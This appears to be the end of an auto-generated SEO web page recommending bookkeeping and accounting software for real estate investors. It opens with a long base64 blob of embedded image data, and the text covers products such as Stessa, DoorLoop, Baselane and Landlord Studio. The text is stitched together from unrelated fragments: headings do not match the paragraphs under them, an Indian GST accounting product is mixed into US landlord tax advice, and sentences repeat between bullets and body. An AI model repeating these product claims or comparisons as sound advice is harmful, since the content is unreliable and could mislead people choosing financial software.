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" width="259px" alt="best bookkeeping software for real estate investors"/></p>
<p><p>And, with the ability to instantly generate customizable reports you can gain deep insights into you finances  throughout the year and at tax time simply run your Schedule E report and send it to your accountant. We understand that every industry has its own unique accounting &amp; business requirements, and BUSY Accounting Software is designed to address them effectively. This software includes features like GST invoicing, GST filing and return, Auto e-way bill &amp; e-invoices, GST reconciliation, GSTIN verification and more.</p>
</p>
<ul>
<li>Readers will discover key features, pricing structures, and usability to identify the best platform for their portfolio.</li>
<li>FreshBooks is also one of the most intuitive apps and user-friendly real estate accounting software options, with features like automatic expense categorization and communication tools directly on invoices and payments.</li>
<li>It allows property managers to customize lease templates and collect signatures digitally, making the workflow seamless and paperless.</li>
<li>Property managers and real estate investors with 50+ units seeking an all-in-one solution for operational accounting and financial management.</li>
<li>The platform is mainly geared toward organizations needing bulk data delivery or custom integrations.</li>
<li>Xero comes with a user-friendly dashboard, which provides real-time insights into your business’s financial health.</li>
</ul>
<p><p>Data intelligence platform for real estate investment modeling, portfolio optimization, and market analysis. Discover the best real estate investment modeling software for accurate forecasting, cash flow, and ROI. Modern all-in-one platform combining property management and accounting with AI-driven automation for bookkeeping and reporting. Comprehensive platform for multifamily properties featuring advanced accounting, automated payments, and customizable financial dashboards.</p>
</p>
<p><div style='text-align:center'><iframe width='568' height='310' src='https://www.youtube.com/embed/vUxtxn7Tb-0' frameborder='0' alt='best bookkeeping software for real estate investors' allowfullscreen></iframe></div>
</p>
<p><h2>Custom Market Research</h2>
</p>
<p><p>ATTOM Data Solutions is a top choice for property data in the U.S., offering detailed, reliable information on more than 158 million properties. If you need a deep dive, they have specialized data on things like foreclosures, environmental risks, historical trends, and many other specific details for in-depth research. Learn what tax lien investing is, how auctions and redemption periods work, key risks to watch, and the steps real estate pros need to get started. Pricing varies broadly depending on the software, features, and user requirements, many though, have free tiers. Firstly, Landlord Studio has been meticulously designed to match the unique needs of real estate professionals. Its intuitive interface makes it easy to get started and with its powerful  mobile app use on a day-to-day basis becomes seamless and stress-free.</p>
</p>
<p><div style='text-align:center'><iframe width='562' height='312' src='https://www.youtube.com/embed/V79ATubqPDo' frameborder='0' alt='best bookkeeping software for real estate investors' allowfullscreen></iframe></div>
</p>
<p><h2>TenantCloud Pricing</h2>
</p>
<p><p>Confirm that cryptology standards are implemented, as well as role-based access and two-factor authentication. As a company managing trust and escrow funds, can the system offer a separate trust account ledger and provide audit-ready reports. Also ensure that the reported results are consistent with cash tax laws and generally accepted accounting principles in relation to real estate activities from a jurisdictional perspective. Due to these requirements the use of <a href="https://www.blogstrove.com/categories/business/how-real-estate-bookkeeping-drives-success-in-your-business/ ">real estate bookkeeping</a> a generic spreadsheet or entry level bookkeeping package may result in inefficiency and higher audit risk.</p>
</p>
<p><h2>Automate Your Real Estate Management with Baselane</h2>
</p>
<ul>
<li>Mid-to-large real estate syndicators and fund managers managing multiple deals who require integrated modeling, investor management, and team collaboration.</li>
<li>The platform offers a range of pricing plans, from Starter for DIY landlords to Business for large property management firms, with options for custom solutions based on portfolio size.</li>
<li>Confirm that cryptology standards are implemented, as well as role-based access and two-factor authentication.</li>
<li>From acquisition targeting and rental comps to long-term appreciation forecasts, HouseCanary provides the full suite of tools professionals need to efficiently source, underwrite, and scale investments.</li>
</ul>
<p><p>Designed to simplify bookkeeping, it integrates seamlessly with tools like QuickBooks and property management systems for comprehensive financial oversight. DoorLoop is an all-in-one property management platform with strong financial accounting features designed for real estate investors and landlords. It automates rent collection, expense tracking, bank reconciliations, and generates key financial statements including profit and loss, cash flow reports, balance sheets, and NOI calculations for portfolios. The software also supports investor portals for sharing performance data, making it suitable for syndication and multi-investor properties. Stessa is a cloud-based platform designed specifically for real estate investors to automate accounting, track portfolio performance, and generate financial reports for rental properties. It syncs with bank accounts and property management tools to categorize income and expenses automatically, providing real-time dashboards on cash flow, net operating income, and cap rates.</p>
</p>
<p><p>Newer investors, small landlords, or anyone who wants simple rental accounting without committing to a large software platform. Baselane is scalable — you can open unlimited property-specific accounts, issue multiple debit cards, and generate tax-ready reports. FlipperForce provides a centralized cloud-based platform to manage the entire rehabilitation process. It eliminates the need for siloed spreadsheets by integrating property research, deal analysis, task management, and budget accounting into one robust system, which is crucial for maximizing project profitability.</p></p>
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